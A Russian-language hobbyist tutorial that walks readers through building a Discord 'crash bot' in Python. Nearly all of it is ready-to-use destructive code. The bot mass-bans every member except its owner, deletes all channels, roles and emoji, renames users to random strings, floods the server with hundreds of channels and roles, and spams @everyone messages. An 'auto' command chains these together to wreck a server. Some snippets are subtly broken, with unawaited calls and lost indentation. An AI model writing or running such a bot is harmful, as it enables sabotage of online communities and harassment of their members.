Всем привет! С вами карарасёнок и сегодня мы сделаем краш бота для дискорда на питоне! Чтож, поехали!
Что нам надо?
Нам понадобится:
- Питон 3.8 и выше
- Модуль discord py
- Модуль asyncio
- Модуль Random
- Модуль String
Как установить питон?
Для этого переходим на оффициальный сайт питона и устанавливаем последнюю версию которую поддерживает ваш компьютер (например последняя версия которую можно установить на windows 7, это 3.8.10)
И да, обязательно нажмите add python to PATH иначе вы не сможете установить discord py
Что дальше?
Дальше нам надо установить все модули командой pip, т. е прописываем:
pip install discord.py
Модуль asyncio уже встроен и его не надо устанавливать.
Если что, установите либо Visual Studio Code, либо sublime text, либо PyCharm (просто кликните по тексту чтоб сразу скачать нужную версию). Лично я рекомендую Sublime Text, мало весит, быстро запускается, но зато это не ide и там меньше всего возможностей. Ну или можете в блокноте записывать, как хотите так и делайте (правда в IDE или в редакторе кода удобнее).
Давайте кодить!
Для начала зайдём в наш редактор кода / IDE и нажмём сочитание клавиш ctrl + n и ctrl + s и назавём файл например bot.py и мы опять наживаем ctrl + n и ctrl + s, но мы теперь называем файл start.bat и вписываем туда такой код:
@echo off
python file_name.py
pause
Вместо file_name вписывайте название файла.
После идём на discord.com/developers и нажимаем New Application
Дальше придумываем название и нажимаем на кнопку Create
Если хотите, можете сделать аватарку и описание
После идём во вкладку bot
Нажимаем Add Bot и Yes, do it
У вас должен был создаться бот, после нажимаем Reset Token (Если нет, то нажмите Copy), опять Yes do it, и если у вас есть Двухфакторная Аунтентификация (Проще 2FA) то тогда вам надо будет ввести 6-значный код из приложения Google Authenticator (Писал по памяти так что возможно название отличаются). После нажимаем Copy
После включаем пункт server members intent
Далее идём в OAuth2 во вкладку url generator
в scopes надо выбрать bot, а в BOT PERMISSIONS administrator
Дальше копируем ссылку и вставляем её в новой вкладке
Переходим по ссылке и выбираем нужный сервер
Добавляем бота, готово!
И да, НИКОМУ И НИКОГДА НЕ СООБЩАЙТЕ ТОКЕН ОТ БОТА! Ок дальше идём в ранее созданый нами файл bot.py и вписываем туда
import discord
from discord.ext import commands
import asyncio
import random
import string
intents = discord.Intents.default()
intents.members = True
prefix = '!'
wl = your_id
client = commands.Bot(command_prefix = prefix, intents = intents)
В prefix вы можете заменить ! на что то другое (например ?), это будет вашим префиксом, например: чтоб команда сработала нам надо прописать !help
В wl вместо your_id надо вставить ваш айди (это надо чтобы бот не забанил вас во время автокраша или во время бана людей). Для того что бы скопировать айди, надо перейти в настройки пользователя > Расширенные > Режим разроботчика
После тыкаем по себе правой кнопкой мыши и нажимаем Копировать ID
И добавляем наш айди в список wl. Готово! Теперь бот вас не тронет.
Давайте создадим новую асинхронную функцию и назавём её banall, передадим параметр ctx, сделаем цикл for для того, чтоб получить полный список участников сервера, добавим поверку на имения айди участника в списке wl и будем банить =). Собствено вот код функции:
async def banall(ctx):
for member in ctx.guild.members:
if member.id not in wl:
try:
member.ban()
except:
continue
elif member.id in wl:
continue
Дальше создаём ещё одну асинхронную функцию которую назавём clearch, опять же передадим параметр ctx и создадим цикл for для получения списка каналов на сервере, а потом мы их удаляем. Код функции:
async def clearch(ctx):
for channel in ctx.guild.channels:
try:
channel.delete()
except:
continue
Снова создаём асинхронную функцию, назваем её clearrl, передаём ctx, цикл for для получения списка ролей и удаления их. Код:
async def clearrl(ctx):
for role in ctx.guild.roles:
try:
role.delete()
except:
continue
Дальше я не буду говорить типо: передаём параметр ctx
Снооова создаём асинхронную функцию, называем masks, в ней создаём переменую chars и вписываем туда string.ascii_letters + string.digits, цикл for, в нём создаём переменую nickname и записываем туда ''.join((random.choice(chars) for i in range(16))) и меняем ник на сервере. Код:
async def masks(ctx):
chars = string.ascii_letters + string.digits
for member in ctx.guild.members:
nickname = ''.join((random.choice(chars) for i in range(16)))
try:
await member.edit(nick=nickname)
except:
continue
Опять функция, называем createch, цикл for и команда создания канала. Код:
async def createch(ctx):
channel_num = 0
for b in range(200):
channel_num += 1
try:
await ctx.guild.create_text_channel(channel_num, reason = 'server crashed')
except:
continue
Теперь я не буду писать то что сверху. Теперь только код и что функция делает.
Спам ролями:
async def createrl(ctx):
role = 0
for a in range(200):
role += 1
try:
await ctx.guild.create_role(name = role)
except:
continue
Очистка эмодзи:
async def clearemj(ctx):
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
except:
continue
Спам сообщениями:
async def msgspam(ctx):
for a in range(10000):
for channel in ctx.guild.channels:
try:
await channel.send('@everyone сервер был крашнут!')
except:
continue
Начало автокраша:
async def autocrashstart(ctx):
for channel in ctx.guild.channels:
for a in range(10):
try:
await channel.send('@everyone СЕРВЕР БУДЕТ КРАШНУТ ЧЕРЕЗ 5 СЕКУНД!')
except:
continue
await ctx.guild.edit(name = 'Crashed')
asyncio.create_task(clearch(ctx))
asyncio.create_task(clearch(ctx))
asyncio.create_task(clearch(ctx))
Авто краш:
async def autocrash(ctx):
asyncio.create_task(autocrashstart(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(banall(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
asyncio.create_task(clearrl(ctx))
await clearrl(ctx)
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createch(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
asyncio.create_task(createrl(ctx))
await clearrl(ctx)
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
asyncio.create_task(msgspam(ctx))
for channel in ctx.guild.channels:
try:
await channel.send('СЕРВЕР УМЕР!')
except:
continue
Всё, с функциями покончили, теперь команды!
Создадим команду авто краша. Из-за того что мы указали авто краш в функции, то это команда будет маленькой:
@client.command()
async def auto(ctx):
asyncio.create_task(autocrash(ctx))
Ещё добавим команду очистки ролей
@client.command()
async def roles(ctx):
await ctx.send('Удаляем роли...')
asyncio.create_task(clearrl(ctx))
await clearrl(ctx)
await ctx.send('Почистил!')
Добавим команду для очистки каналов
@client.command()
async def channels(ctx):
await ctx.send('Удаляем каналы...')
asyncio.create_task(clearch(ctx))
await ctx.guild.create_text_channel('alived-channel', reason = 'clearch command')
for channel in ctx.guild.channels:
await channel.send('Почистил')
и для простого спама
@client.command()
async def spam(ctx):
await ctx.send('Начинаю спам...')
asyncio.create_task(msgspam(ctx))
await ctx.send('Наспамил!')
Давайте поменяем Rich Presence. Это делается следуйшим кодом:
@client.event
async def on_ready():
await client.change_presence(status = discord.Status.online, activity = discord.Game(name = f'{prefix}help'))
print('Бот запущен!')
И что бы наш бот заработал, нам надо в конце добавить client.run('token')
Вместо token вставляем ранее скопированый токен. Готово! Мы только что сделали краш бота! Что бы он заработал, открываем start.bat и готово!
Ну а свами был карарасёнок, всем пока!